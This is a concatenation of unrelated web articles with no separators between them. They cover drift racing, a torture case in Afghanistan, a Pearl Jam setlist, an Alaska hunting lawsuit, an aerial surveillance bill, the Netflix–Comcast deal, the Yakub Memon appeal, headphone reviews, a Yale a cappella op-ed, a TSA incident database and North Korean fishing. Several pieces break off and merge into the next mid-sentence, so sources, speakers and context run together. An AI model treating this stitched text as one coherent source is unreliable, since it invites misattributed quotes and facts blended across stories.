2. Dai Yoshihara Lacks Confidence Still
Dai Yoshihara looked really good this weekend but he still seems to lack some of the confidence needed to be a championship driver. Even in his interview with Formula Drift, he was like the car sucked and magically just before qualifying I kind of figured it out. He did navigate himself to a podium finish this weekend but after years of car trouble he needs to bring more confidence to his driving in 2017 to be a championship fighter once again.
1.Ryan Tuerck Won One Battle and Landed on Podium – WHAT?
UGH, one battle to a podium is lame. Ryan Tuerck also won the Fan Favorite driver this weekend at Formula Drift but the fans who paid good money only got to see him make two tandem runs all weekend. Sucks for the fans of Ryan Tuerck big time. As for Ryan Tuerck…. I am sure he was happy to do minimal work and snag a podium. He could of ran Mad Mike of course but that issue was already covered in #10.As the government is put under pressure to do more to protect women, we discuss the concerns about their rights.
In the latest case that has attracted widespread attention both in Afghanistan and abroad, a court has set free three Afghans who were originally jailed for torturing a young female relative who had refused to become a prostitute.
Sahar Gul was sold and forced into marriage by her brother when she was about 13 or 14. When she refused to consummate the marriage, she was subjected to all kinds of physical torture by her husband and his family, including being beaten and imprisoned.
Gul's mother-in-law, sister-in-law and father-in-law were convicted and sentenced to 10 years in jail for the torture. But a court has reversed their convictions, a decision that has angered rights groups.
The issue is not only the Taliban in [Afghanistan], there are even some warlords who are actually allies of NATO, who still believe women should not participate on TV or participate in jobs. So the issue is a tribal issue and a cultural issue. Souad Mekhennet, an author
And now the Afghan government is under mounting pressure to do more to protect women. It delivered its response to the UN Committee on the Elimination of Discrimination against Women but in the light of the case, human rights advocates have talked about worrying setbacks.
Al Jazeera's Jennifer Glasse reporting from Kabul went to meet tortured victim Sahar Gul, who she says is scared again.
"They tortured me when I was a kid, Why did they let them go? They should be punished and they should go back to jail," said Gul.
When Gul came to the world’s attention a year and a half ago, she was battered and bruised. She had spent months locked in a room. The family that had bought her for $5000 pulled out her hair, ripped off her nails and burned her with hot wires - all because she had refused to become a prostitute.
"When Sahar Gul’s attackers were convicted to 10 years in prison women’s rights activists here hailed it as an important step forward, accountability in a society where violence against women remains common," reported our correspondent. "The court’s reversal they say, is a part of a series of events here that shows women’s rights are under attack”.
The World Health Organization (WHO) recently released its first global review of violence against women. It found that about 35 per cent of women worldwide have experienced sexual or physical violence - a problem it calls a public health epidemic.
As in the case of Sahar Gul, most of this violence is committed by an intimate partner around the world, with women in Southeast Asia, the most likely to have been subjected to violence by a partner.
So, is Afghanistan heading forwards or backwards on womens' rights?
To discuss this, Inside Story, with presenter Sami Zeidan, is joined by guests: Noorjahan Akbar, women's rights activist; Sujatha Balachander, lawyer and member of the All India Women's Conference; and Souad Mekhennet, specialist on women’s issues in the Islamic world and the co-author of The Children of Jihad.
"I think it's unfair to say that the reason women have made some accomplishments in the last 11 years is because of the western intervention or necessarily because of the current [Afghan] governement.... "Now we have, more than any other time in history, we have girls going to school, we have women going to the universities, we have women working in the media and working in the government, the number of female midwives have increased, women's access to healthcare has increased.... "[So] this is why Afghan women are now scared because of the negotiations being made with terriorist groups that have no respect for women's rights." - Noorjahan Akbar, women's rights activist
Source: Al Jazeera10-17-14
iWireless Center
Moline, IL
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SETLIST
1.SMALL TOWN
2.SOMETIMES
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5.IN MY TREE
6.SMILE
7.OFF HE GOES
8.HABIT
9.RED MOSQUITO
10.LUKIN
11.PRESENT TENSE
12.MANKIND
13.IM OPEN
14.AROUND THE BEND
15.GIVEN TO FLY
16.INTERSTELLAR OVERDRIVE
17.CORDUROY
18.MIND YOUR MANNERS
19.BRAIN OF J
20.INFALLIBLE
21.EVEN FLOW
22.GONE
23.GARDEN
24.PORCH
ENCORE 1
25.IMPROV SONG ABOUT MOLINE
26.BEE GIRL
27.IMAGINE
28.IN HIDING
29.LIGHTNING BOLT
30.DO THE EVOLUTION
31.JEREMY
32.WHY GO
ENCORE 2
33.ERUPTION
34.ALIVE
35.FUCKIN UP
36.YLB
POSTER
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Pearl Jam10-17-14iWireless CenterMoline, ILI-L-L-...I-N-I.......SETLIST1.SMALL TOWN2.SOMETIMES3.HAIL HAIL4.WHO YOU ARE5.IN MY TREE6.SMILE7.OFF HE GOES8.HABIT9.RED MOSQUITO10.LUKIN11.PRESENT TENSE12.MANKIND13.IM OPEN14.AROUND THE BEND15.GIVEN TO FLY16.INTERSTELLAR OVERDRIVE17.CORDUROY18.MIND YOUR MANNERS19.BRAIN OF J20.INFALLIBLE21.EVEN FLOW22.GONE23.GARDEN24.PORCHENCORE 125.IMPROV SONG ABOUT MOLINE26.BEE GIRL27.IMAGINE28.IN HIDING29.LIGHTNING BOLT30.DO THE EVOLUTION31.JEREMY32.WHY GOENCORE 233.ERUPTION34.ALIVE35.FUCKIN UP36.YLBPOSTERif u can t be here,Follow the setlist herefacebook groupmy facebook pagetwitterthanks
"...Dimitri...He talks to me...'.."The Ghost of Greece..".
"..That's One Happy Fuckin Ghost.."
“..That came up on the Pillow Case...This is for the Greek, With Our Apologies.....”This August 2016 photo shows Skilak Lake and the surrounding wilderness on the Kenai National Wildlife Refuge, Alaska. The Skilak Wildlife Recreation Area is the site of a controversy over U.S. Fish and Wildlife Service rules restricting hunting and firearm use. Safari Club International, a nonprofit advocating for hunting rights, has filed a lawsuit against the Department of the Interior, Fish and Wildlife and the National Park Service over hunting, trapping and use regulations that it claims interfere with the state’s ability to manage its wildlife. (Elizabeth Earl/Peninsula Clarion)
Editor’s note: This article has been updated to correct Safari Club International Vice President Eddie Grasser’s title.
The Safari Club International has filed a lawsuit against the U.S. Department of the Interior, the Fish and Wildlife Service and the National Park Service over its hunting rules on federal lands in Alaska.
The nonprofit, one of the largest hunting advocacy organizations in the country, is challenging a set of rules the three organizations enacted in 2016 to restrict hunting and trapping practices on national preserves and on national wildlife refuges in the state, specifically on the Kenai National Wildlife Refuge. The rules conflict with the state’s ability to manage wildlife and interfere with Alaskans’ ability to hunt and trap, among other impacts, according to the lawsuit filed Jan. 19 in U.S. District Court for Alaska.
The federal government owns more than half of Alaska, managed by a smattering of different federal agencies. The U.S. Department of the Interior manages national wildlife refuges through the Fish and Wildlife Service and national parks and preserves through the National Park Service. Taken together, NPS manages about 54 million acres of the state, and Fish and Wildlife manages about 76.7 million acres.
Specifically, the lawsuit takes issue with a rule that bans predator control activities on national wildlife refuges “unless based on sound science and in response to a conservation concern or is necessary to meet refuge purposes, federal laws or (Fish and Wildlife Service) policy,” according to an Aug. 3, 2016 press release about the rule.
The National Park Service’s rule, which was finalized Oct. 23, 2015, prohibits the taking of brown bears over bait and the take of wolves and coyotes between May 1 and Aug. 9, which is designated as denning season, and eliminating the “temporary” closure category for national preserves in Alaska, which previously expired after 12 months. The lawsuit claims these closures allow Alaska personnel “unlimited discretion” to close areas to sport hunting without providing rulemaking notice or public comment opportunities.
The lawsuit also claims the consequences of the National Park Service’s actions extend beyond its boundaries because the predators and prey do not remain within the boundaries of the national preserves.
“The NPS exceeded its statutory authority in promulgating the NPS Regulations, as the regulations illegally override the State’s authority to regulate the methods and means of taking Alaska’s wildlife,” the lawsuit states.
The complaint against Fish and Wildlife’s general rule prohibiting predator control activities on Alaska national wildlife refuges is for similar reasons. On the Kenai National Wildlife Refuge specifically, which covers a broad swath of the Kenai Peninsula between the Russian River and the community of Sterling and stretches down toward the Fox River Flats on the southern peninsula, the lawsuit objects to the public use restrictions that prohibit some plane and motorboat use and lynx, coyote and wolf hunting within the Skilak Wildlife Recreation Area and prohibit bear baiting for brown bears, require a permit for baiting black bears and prohibit using a dog to hunt big game except for black bears, with a special use permit, among other rules.
The lawsuit claims that neither the National Park Service nor Fish and Wildlife completed the proper National Environmental Protection Act processes for their regulations.
The lawsuit asks for the court to declare all the regulations as invalid and enjoin the agencies from enacting the regulations.
The suit was filed less than a week after the State of Alaska filed its own lawsuit against the same rules. The state’s suit claims very similar grievances against the rules, saying it breaches the state’s ability to manage its wildlife effectively, according to a news release from Gov. Bill Walker’s website.
The Safari Club International supports the state’s lawsuit but chose to file its own anyway, said Safari Club International President Larry Higgins in a statement. The Safari Club’s lawsuit focuses more specifically on the rights of nonsubsistence users than the state’s lawsuit and contains complaints specific to the Kenai National Wildlife Refuge rules, which the state’s lawsuit does not, he said.
“Safari Club concluded it was necessary to file its own lawsuit to represent and protect fully the interests of its members and others who hunt in Alaska for subsistence and/or for nonsubsistence purposes,” he said. “Both lawsuits challenge regulations adopted by the Obama Administration that prohibit certain hunting methods on National Preserves and National Wildlife Refuges.”
The main issue the group has with the rules is state wildlife management, said Eddie Grasser, the vice president of the Safari Club International. All successful wildlife management in the U.S. is based on state management, he said.
“The main emphasis for our part, anyway, is the issue of state management,” he said. “We don’t feel the federal government has the authority to manage wildlife because of the way the system has evolved over time.”
Higgins said in his statement that the club will support the state’s legal efforts as well.
“To the extent possible, Safari Club will work cooperatively with the State, and others who may decide to challenge the regulations, to present the best arguments to the court,” he said.
The National Park Service had no comment on the Safari Club’s lawsuit and the Fish and Wildlife Service did not respond to a request for comment Thursday.
Reach Elizabeth Earl at [email protected] are often the unsung heroes, always doing the little things that mean a lot for their children - like making and packing your lunch.Now, one woman in Brooklyn is celebrating her mom and all of the peanut butter and jelly sandwiches she made for her while she was growing up through a new art exhibit.Jessica Olah spent 5 days making 2,340 peanut butter and jelly sandwiches - the approximate number her mom, Elizabeth, made her over the years.She says it's her way of showing appreciation for mom's relentless devotion to her and all of the other parents whose hard work and warm gestures get overlooked.Olah raised $3,500 dollars for the project that was part art - and part charity.After all of the sandwiches were made, she donated them to The Bowery Mission, a nonprofit organization that helps the homeless.Legislation that would require the federal government to obtain warrants prior to conducting aerial surveillance was introduced by a bipartisan pair of senators on Wednesday.
Sens. Ron Wyden, D-Ore., and Dean Heller, R-Nev., introduced the Protecting Individuals From Mass Aerial Surveillance Act, which they say would cut back on federal agencies' use of drones, cellphone tracking devices and other aerial technology, which often sweeps up data from thousands of innocent civilians.
"Americans' privacy rights shouldn't stop at the treetops," Wyden said in a statement. "Technology has made it possible to conduct round-the-clock aerial surveillance. The law needs to keep up. Clear rules for when and how the federal government can watch Americans from the sky will provide critical certainty for the government, and help the unmanned aircraft industry reach its potential as an economic powerhouse in Oregon and the United States."
The FBI has long been operating a covert fleet of low-flying civilian aircraft across the nation to extra-judicially collect cell phone data of U.S. citizens, the Associated Press reported earlier this month. The FBI operated at least 50 aircraft in 11 states over a 30-day period since late April. The planes were registered to fictitious shell companies to hide the bureau's involvement. A 2009 federal budget document mentioned at least 115 planes in the fleet, including 90 Cessna aircraft, and AP reports the practices go back decades.
The U.S. Marshals Service and the Drug Enforcement Administration have also come under fire recently for operating their own aerial surveillance fleets, The Wall Street Journal reported.
One particularly controversial surveillance device, used in planes by various agencies, is known as the "Stingray," which spoofs cellphone towers to collect identifying information from unsuspecting people's phones. The device can determine a person's location, intercept calls and text messages, and even send fake text messages to a device. The gadget often ends up collecting information from thousands of innocent people in the surrounding vicinity, according to Ars Technica.
"This legislation protects those inherent rights from being trampled by the government's intrusion from above and provides much needed clarity on what authority the federal government has related to aerial surveillance," Heller said in a statement.
After obtaining a warrant, if the federal government incidentally collects information from a bystander, the agency would not be allowed to identify that person, and any unlawfully collected incriminating information would be inadmissible in court, according to The Hill.
However, there are a few limits. The legislation only applies to federal agencies and there are exemptions to allow border patrol officers to conduct flights within a 25-mile area along the border.
"This applies to federal agencies. To the extent that a state entity would fly a drone, this bill wouldn't address it," said ACLU spokesperson Neema Singh Guliani, The Intercept reported.
"It is also important to note that there is a border carve-out exemption of 25 miles. For people who live within that 25-mile border zone, like Tucson [or] San Diego, these protections wouldn't apply."If you’ve never really grokked what the lack of net neutrality would mean for the Internet, Comcast and Netflix provided you with a handy object lesson on Sunday.
The Internet service provider and the streaming video service announced on Sunday that they had struck a deal that speeds up streaming of Netflix content into the homes of Comcast subscribers. In a joint statement, Netflix and Comcast hailed this “mutually beneficial interconnection agreement” that provides “a more direct connection between Netflix and Comcast, similar to other networks, that’s already delivering an even better user experience to consumers, while also allowing for future growth in Netflix traffic.”
And all Netflix had to do is pay up for the privilege. That’s according to the Wall Street Journal, which first got wind of the Netflix-Comcast deal on Sunday. The Journal says that Netflix gets direct access to Comcast’s broadband network in exchange for a payment to the cable and Internet provider. (Neither Netflix nor Comcast outlined terms of the deal in their public announcement.) What’s more, the Journal says, Netflix’s Comcast arrangement “could set a precedent for Netflix’s dealings with other broadband providers.”
Netflix certainly has plenty of incentive to pony up. Comcast falls near the bottom of Netflix’s rankings for which ISPs deliver the best streaming experience to its subscribers, and less than a week ago, Netflix groused that streaming performance for its service on major ISP networks was getting worse.
In that sense then, Sunday’s announced deal is good for Netflix in that it can promise improved performance on the nation’s largest cable provider to its subscribers. It’s certainly a good deal for Comcast, which not only stands to get some money out of Netflix but has the muscle to extract similar arrangements with other streaming services. And it may even work out all right for Netflix subscribers on Comcast who can look forward to better performance for their buck—assuming that the streaming service doesn’t pass on the cost of the agreement to them, of course.
But for the Internet at large, the Netflix-Comcast agreement has some troubling implications, with many commentators on Sunday calling it the latest sign that the concept of net neutrality is dead and buried. Net neutrality is the idea that ISPs treat all Internet traffic the same, neither blocking the delivery of data packets nor giving priority to some types of data over others. Last month, an appeals court struck down the Federal Communications Commission’s net neutrality rules, and some of the starker consequences of that ruling seem to be born out by Netflix’s Comcast deal—namely that ISPs will start charging companies for better access to their networks, creating a tiered system that squeezes out smaller players who can’t afford to meet the ISPs’ asking price.
If the implications of Sunday’s announcements are troubling, so is the timing. Earlier this month, Comcast announced plans to buy Time Warner Cable in a $45.2 billion deal that would extend the Internet and cable provider’s already considerable reach. (Time Warner is the second-largest cable provider after Comcast in the U.S. and the third largest broadband provider.) Should that deal go through—and consumer groups are very much opposed to it—Comcast would have even more muscle to extract concessions from the Netflixes of the world.
The FCC says it’s not challenging the court ruling that cut off net neutrality at the knees, instead focusing its efforts on crafting a new version of the rules that better stand up to legal challenges. The FCC was planning to come up with its revised rules by the summer; look for Sunday’s Netflix-Comcast pact to provide the agency some extra incentive.File photo of 1993 Mumbai blasts accused Yakub Memon.
The Supreme Court has dismissed 1993 Mumbai serial blasts convict Yakub Memon's petition to commute his death sentence to a life term.
The court had confirmed Memon's death sentence pronounced by a trial court two years ago, but he had then filed a review petition, which was rejected today. Last year, President Pranab Mukherjee had also rejected his mercy plea.
Memon's case was taken up in open court, following a court order last year on review petitions in death sentence cases.
In his petition, Memon had stated that he had been in jail for more than 20 years, longer than the 14-year jail term awarded in cases of life imprisonment.
Memon can still file a curative petition - his last legal resort - against today's order.
Memon, a chartered accountant and brother of fugitive terror mastermind Tiger Memon, was sentenced to death by an anti-terror court in 2007 after being found guilty of criminal conspiracy and for arranging finances and managing its disbursement through the co-accused in the Mumbai serial blasts case.
Upholding that verdict, the Supreme Court, in March, 2013, had said, "It is not a hyperbole to state that he was one of the driving spirits behind the plan."Memon was arrested from Kathmandu airport in 1994. He was later described by the trial court as the mastermind who played a key role in the conspiracy, thus "warranting death penalty".Over 250 people died and 700 were injured in multiple blasts in Mumbai on March 12. The CBI, which probed the blasts, alleged that the blasts were planned by Dawood Ibrahim and others, including Memon's brother Tiger Memon, who is believed to be hiding in Pakistan.Red Bulls captain Thierry Henry has recorded a countless amount of goals, wins and championships over his star-studded career. His story from his beginnings in French soccer to his legendary status at a number of elite clubs and on the international level has been well documented many times.
One individual in his story who is particularly of note is a man named Arnold Catalano.
Twenty-three years ago, AS Monaco was overseen by current Arsenal manager Arsène Wenger, who helped the French club earn success. In 1988, Monaco won the Ligue 1 championship and took home the Coupe de France in 1989 and 1991, while qualifying for the European Cup consistently. During this time, a number of noteworthy players came through Monaco, including Jurgen Klinsmann, Youri Djorkaeff and George Weah.
Wenger also helped build a strong youth program which helped produce some of the players which were part of the French World Cup-winning team in 1998. In 1990, Monaco had a seasoned scout in Paris with an eye for talent, and the Les Ulis neighborhood in France’s capital housed a talented 13-year-old that would be part of this movement: Henry. That scout, Catalano, was recently in New York and sat down with NewYorkRedBulls.com recently to discuss his career and his discovery of one of the greatest strikers in the history of the game.
NYRB: So you went to see the game against the Revolution on Oct. 5, I hear?
AC: Yes.
NYRB: First time seeing Thierry with the Red Bulls. What was it like?
AC (through translator): It was good. It’d been a while since I had seen him play in person. I think the last time I saw him was in Rome for the Champions League final between Barcelona and Manchester United a couple of years ago. No, but to be physically at the stadium, I really liked it. It was a good atmosphere.
NYRB: It was a good game, for sure. So, now, how did you start out scouting?
AC: At the beginning, I was coaching 14 year olds at a pro club in Paris called Metro Racing. When the first team coach left for Sochaux, they were looking for a scout near Paris for that age group. At the time, Sochaux’s training academy was well respected. I worked there for two years. The managers at AS Monaco must have liked what was doing there, but in any case they asked me to do the same job for them: scouting in the Paris area. It’s a region that represents a fifth of the population of France, so it’s an important talent pool.
NYRB: How long ago was this?
AC: Twenty-three years ago. I worked for nine years in the Paris area for Monaco, but then I took the job of running their
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mind you, but seemed a bit dark, a tad slow, and not particularly open or expansive. I came back a few times and still they never really “clicked” until I spent time listening to them on back to back days with no other listening in between. Once I wrapped my brain around the sound and stopped comparing it directly to others, I started liking it more and more.
The H118 strikes me as something of a cross between the Mad Dogs and the M100. It’s fairly Mad Dog-esque (is that a word?) in the upper regions, with a smooth presentation that makes it great for taming sharp/annoying recordings (early CD releases anyone?). Down low, it sounds more like the V-MODA M100, though maybe not quite as pounding. For true bass-head appeal I’d choose the M100 as it extends lower and hits harder, but there are times where those accentuated highs are just too much. If I want more thump than the Mad Dogs, but less top end sparkle than the M100, I reach for the H118.
On a technical level, the ADL is about par for this group. It’s not the most open sounding, nor does it extend truly deep into subterranean depths. Midrange realism is good enough though doesn’t match the Focal or the AKG. Now that I think about it, there’s really no single thing that ADL does better than the rest. Yet somehow it just “works” for me; the whole being greater than the sum of its parts. Think LS3/5a, in spirit more than actual sound signature. I particularly like them with classic rock – Hawkwind, Status Quo, Hendrix, The Zombies … often times these recordings are a little thin and bright, so the particular tuning of the H118 is ideal to liven them up and take the edge off, without completely overdoing it.
I don’t know for sure if Alpha Design Labs intends to expand their headphone lineup. As an initial first offering, the H118 is pretty damn good. It won’t be for everyone, and it isn’t really a technical tour de force, but in terms of making sweet music I’d say it succeeds rather well. I’m interested to see what else ADL can come up with in the next year or two. If they keep a similar sound signature while moving up the ladder a bit in technical competency, they’ll be in a good spot. As it stands the H118 remains an intriguing option, worth looking into if the character seems like a good fit for you.
$349
Focal is a huge name in high-end audio. They’ve been making speakers for decades and I think it really shows the popularity of the emerging “personal audio” category to see major players like Focal get involved. Their first foray into headphones was the Spirit One, a semi-portable headphone with cups that sat on the ears. That model remains in the lineup but Focal recently added two new siblings – the Spirit Classic and the Spirit Pro. I decided to try the Spirit Pro because it was more readily available – when I started this article, the Pro was recently released and the Classic ($399) was barely just announced. On the outside it appears the Classic is more luxurious, intended for the home user, where the Pro is more rugged for use in a studio environment. I won’t speculate on the sonic variation (if indeed one even exists) but rather will focus completely on the Pro since that’s what I have handy.
Externally, the Spirit Pro very much fits the stated purpose of “Professional use”. The shell is mainly composed of an interesting textured plastic, accented by some aluminum parts in key areas. This is one of the few headphones out there using a coiled cable, which actually works pretty well in a home environment (Focal also includes a shorter straight cable with inline mic). Maybe it’s the nature of the beast when it comes to this type of design, but there’s definitely something familiar about the general looks of this headphone. Perhaps there’s only so much one can do when designing a sealed model at a certain price point. Not that they aren’t attractive in their own way … perhaps traditionalism has its place. These will definitely be less polarizing than, say, the Spider Moonlight.
I’m of two minds about the build quality here – on one hand, it feels a bit “creaky”. There’s a bit of play in areas where it seems like there shouldn’t be any. Then again the textured black plastic seems like it would stand up well against scrapes and scuffs likely to be encountered in an abusive studio environment. The (simulated?) leather pads on these seems above average for this class — crappy, cheap pleather is a dealbreaker for me, so all of the models in this article have pretty nice pads. True, most are some type of faux-leather, but the standard here is fairly high. The cable uses a nice rubber which feels a step above most others here – little touches like that make the experience feel more premium, so I’m more willing to overlook my other complaints.
On the downside, the Spirit Pro has one of the smallest cups here. It does touch parts of my ears rather than surrounding them completely. It remains comfortable enough, probably thanks to the quality padding combined with that nice material they use. I still wouldn’t call it one of the more comfortable models for long-term listening though. In fact, for the potentially problematic fit, I almost left the Spirit Pro out of this article all together … what stopped me? Simple … the sound quality.
Yes, the Spirit Pro has a very satisfying sound to it. In keeping with its Focal roots I’d call this a neutral, monitor-like sound, with very good extension on both ends. I sense perhaps a hint of midrange dominance – nothing major, just a touch of extra energy to bring the presence region forward. And the quality is among the very best here – transparent, clear, highly resolving. This results in a very “truthful” presentation which points out the good, bad, and ugly inherent in a recording. The words “revealing” and “dry” come to mind, which I mean in the best possible sense … though for some tastes, those come across as a negative thing. Bass reproduction comes off as tight and very fast, with loads of accuracy and good extension too. It might seem just a touch too light in weight for some tastes though. Compared to the AKG, the lows here seem a bit more accurate but also less impactful, so in the end I’m not sure which one I’d rank higher. I will say the Focals do bass in a way that fits their overall presentation. I sometimes wish for more, but if I’m honest I know that would upset the delicate balance they’ve achieved. So in reality I wouldn’t want it any other way.
The Spirit Pro, like the Moonlight, does best with great recordings. I love how it handles the subtle nuances in Herbie Hancock’s River: The Joni Letters, or the interplay between congueros on The Conga Kings (both 24-bit/96kHz hi-res releases). The Focals are capable of digging deep into the recording, and throwing a very realistic presentation if the music allows. Unlike the Moonlight, the Spirit Pro does not sound quite so bad with poor recordings. Sure, it will show flaws, and in comparison those tracks won’t be as engaging. But there’s enough warmth and enough midrange linearity here that things don’t get downright nasty. This is another one of those headphones which will reward superior equipment in the playback chain.
Sounds like the Spirit Pro is a great all around performer, right? It is, for the most part. Some people will find them too clinical, and there’s always someone who wants more bass. But generally speaking the Focals are have some of the broadest appeal of all the headphones in this collection. The limiting factor in this case will be the fit – I really wish Focal would have made the cups larger. I can handle the somewhat uninspired design and the vaguely disheartening build quality (maybe it’s just my review sample) … but what I can’t handle is wearing these for long periods of time. I suspect I won’t be alone in this. The cups are up in size compared to the Spirit One, which was Focal’s first entry into the headphone realm, so they’re headed in the right direction … but they could have easily increased size by a good amount more without causing problems like the massive AKG models. When all is said and done though, I’m willing to overlook all my complaints because the sound is so good. I realize there’s probably a huge number of people out there with smaller ears who won’t have a single complaint about size. Whatever the case – one of these days, Focal is going to work their way up to a high-end, flagship headphone. When that happens, watch out …. It’s gonna be good.
Closing Thoughts
Phew! That was a lot more work than I expected it to be! This article started out with the humble goal of finding several good recommendations for sealed headphones. I never expected to find so many worth talking about — frankly, I’m probably more surprised than you are. I did start with a rather large pool and had quite a few which I sent back, their sound not being up to the task. But the number of worthy options is larger than I had anticipated. This of course is no bad thing – more options equals more chance of the consumer finding something they love.
At this price range, it appears one can get a very good sealed headphone, if not quite a great one. Each of these models has some strengths and some weaknesses, and none of them is perfect, though some will come closer than others depending on your particular taste (and head shape). I sometimes found myself wishing I could combine the strengths of several models to concoct the ideal headphone — the comfort of the AKG combined with the accuracy of the Focal, the technical competence of the Spider Moonlight paired with the fun factor of the Mad Dogs … there’s any number of pairings I could come up with. Ultimately I think one must move higher up the food chain to cover all the bases … which is something I’ll discuss in the next article. For what they cost though, this group does mighty well.
In any case, the fun thing here is the feasibility of owning several of these at once. I can totally see owning the V-Moda M100 for my electronica and hip-hop fix, supported by the Alpha Design Labs H118 for classic rock (just one example of many). It wouldn’t take up too much space and it wouldn’t cost a fortune. And best of all, I could use them anytime I wanted without bothering anyone else. Try that with a pair of speakers!
About the Author
John Grandberg can normally be found contributing toInnerFidelity.com where he covers “personal audio”, which includes headphones and amplification, desktop speakers, portable players, etc. He has a decent speaker-based system but spends most of his time with tiny speakers strapped to his head, or sometimes even inserted into is ears. Gross. John tries his best to eschew purple prose but occasionally has trouble avoiding sesquipedalian loquaciousness. Shockingly, he doesn’t “do” vinyl, being utterly content with his ever growing collection of music stored in lossless digital form. He is terrible at photography and apologizes in advance for the shoddy pictures he might force upon his hapless readers. Consider yourself warned.Here’s yet another example of leftist student protest bearing a remarkable resemblance to opportunist spite:
The Whiffenpoofs, “one of the most prestigious a cappella groups in the United States,” last November chose to remain exclusively male.
I’m sure you can see where this one is headed. This male-only line-up has been both a musical aesthetic and the group’s identity for over a century. Whatever the prevailing politics on campus, male and female voices are, by and large, not entirely interchangeable, and I’d imagine that, say, close-harmony work, a signature of the group, is probably easier if the voices are in the same range. However,
As the Yale Daily News notes, this did not thwart females and “nonmales” from protesting that policy during their auditions.
Specifically,
Student Sydney Garick used her try-out time to criticise the group’s male-only tradition.
And,
A gender nonbinary student… told the News that four Whiffs walked out in the middle of the audition as the student stood in silent protest rather than performing a solo.
Well, given the imposition on others’ time, and the limited number of audition slots available, stage hogging in silent protest is fairly dull to watch, to say nothing of being selfish and insulting.
And because a cake needs icing,
Before auditioning for the Whiffs, students are required to sign a contract committing to the group’s demanding travel schedule. The student told the News they signed the contract with the pronouns “they/them/their” rather than a name.
But of course. Because pissing about with the paperwork and refusing even to give a name shows everyone just how serious you are, how genuine in your interest, and how terribly radical. For some people it’s just politics über alles. Imagine the fun on tour. Oh, and do note that the protest, the petitions, and the hectoring about inclusivity were aimed only at the university’s all-male singing group. The university’s all-female singing group, which doesn’t admit male singers, was strangely exempt from similar fuss and umbrage.The events of the last election cycle have revealed to the public what many of us have known for years – that our computerized voting systems can be susceptible to undetectable manipulation through cyber attacks. Long before the specter of a foreign government trying to hack our elections became a reality, Verified Voting, founded in 2004, was striving to safeguard our elections from digital attacks.
We have made enormous progress. When Verified Voting began, roughly two-thirds of the country’s votes were recorded in digital form on computerized voting machines (typically touch screen machines) that could lose votes or be manipulated without detection. Today more than two-thirds of the country uses voter-marked paper ballots. We are proud to have played a primary role in that shift. Our impact has greatly exceeded our lean not-for-profit budget. But we no longer have the luxury of time; we need reforms to our election system nation-wide now to protect it from continued attacks.
Verified Voting has the experience, networks, knowledge, and expertise, but we need your help to expand our operation to work rapidly and broadly across our nation. A third of the country still does not have voter-marked paper ballots, and only a handful of states conduct post-election audits that can be relied upon to catch a potential error in the vote count. Therefore, we must pass reforms that will ensure that all elections in all states and territories have paper ballots and are audited to detect and correct any potential errors in the vote count before certification.
With our next major election around the corner, we cannot delay. Providing the advocacy, technical support, and expertise needed to secure our voting systems requires all hands on deck. Please join the effort to protect our democracy at this critical time by donating to our campaign.
Thank you very much for your commitment to our democracy.WASHINGTON Airline passengers who get frustrated and kick a wall, throw a suitcase or make a pithy comment to a screener could find themselves in a little-known Homeland Security database. The Transportation Security Administration says it is keeping records of people who make its screeners feel threatened as part of an effort to prevent workplace violence. Privacy advocates fear the database could feed government watch lists and subject innocent people to extra airport screening. "Is this going to be the baby watch list? There's a potential for the misuse of information or the mischaracterization of harmless events as potential threats," American Civil Liberties Union lawyer Michael German said. A TSA report says the database can include names, birth dates, Social Security numbers, home addresses and phone numbers of people involved in airport incidents, including aggressors, victims and witnesses. Incidents in the database include threats, bullying or verbal abuse, remarks about death or violence, brandishing a real or fake weapon, intentionally scaring workers or excessive displays of anger such as punching a wall or kicking equipment, the report says. The database was created in late 2007 as the TSA launched a program to prevent the nation's 50,000 airport screeners from being attacked or threatened, agency spokeswoman Kristin Lee said. At the time, TSA officials voiced concern about passengers disrespecting screeners, and they began issuing new uniforms with police-style badges pinned to shirts. Lee said attacks and threats against screeners are "rare" and the database has records from about 240 incidents. Most are screeners in conflict with other screeners. About 30 incidents involve people such as passengers or airport workers attacking or threatening screeners, Lee said. Information about passengers is taken from incident reports that the TSA writes when a traveler threatens or attacks a screener, Lee said. "The program's focus is on prevention," Lee said. The database helps the TSA spot trends in incidents that can shape workplace-safety programs, Lee said. A TSA document published in February says database information can be given to government agencies and to airports, airlines and rail and bus systems in cases involving their workers or job applicants. "They may be contacted by the TSA if an incident involves their employee," Lee said. A.J. Castilla, a screener at Boston's Logan International Airport and an official with a TSA union, said he has seen passengers throw shoes at and push screeners, but incidents have subsided more recently. The ACLU's German said he worries that the incidents in the database are broad. "I've been very angry at an airport because flying can be a very frustrating experience," he said. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more TOP TRAVEL STORIES Most read Most e-mailed TOP TRAVEL STORIES Most read Most e-mailedOn the heels of a new bilateral fishing rights deal, state-run companies in the North are bringing in scores of cutting-edge fishing vessels from China, undermining the livelihoods of ordinary fisherman in the North.
“A fleet of new fishing vessels have emerged in the East Sea waters off of Sinpo, South Hamgyong Province,” a source from the province told Daily NK on July 6. These Chinese ships, outfitted with small refrigerating facilities, state-of-the-art fish-finding equipment, and high-performance GPS and radar systems, are under three-year contracts, which stipulate the entirety of any catch be handed directly over to China in exchange for cash– save the costs of the ship lease.
Such an agreement seemingly bears out claims by South Korea’s National Intelligence Service via a parliamentary committee on June 30 that North Korea sold its fishing rights to China this year to the tune of 30 million USD.
The pact has spurred frenetic fishing expeditions by North Korean state companies to amass the highest possible amount of funds. China, on the other hand, “is simply sitting back and collecting on this deal,” the source said.
Therefore, the livelihoods of people living in adjacent fishing villages are on the line, which is of “entirely no concern to the [North Korean] leadership,” the source asserted, adding that while many see the season’s squid catch as their “year’s harvest,” but with their backs against the wall to pay loyalty funds, “state companies couldn’t care less about their troubles.”
These hulking vessels are north of 100 tons, highly mobile, and their operators unsatisfied to confine their expeditions to the deep sea, instead pillaging the shallow, coastal waters as well. Bottom trawling, an environmentally destructive fishing method that drags vast nets across the seabed, is also common.
Coupled with the fact that China supplies them with diesel and other fishing instruments, these smaller boats “don’t stand a chance,” the source noted, and “with little in the way of recourse, many [fisherman] are staging armed dissent.”
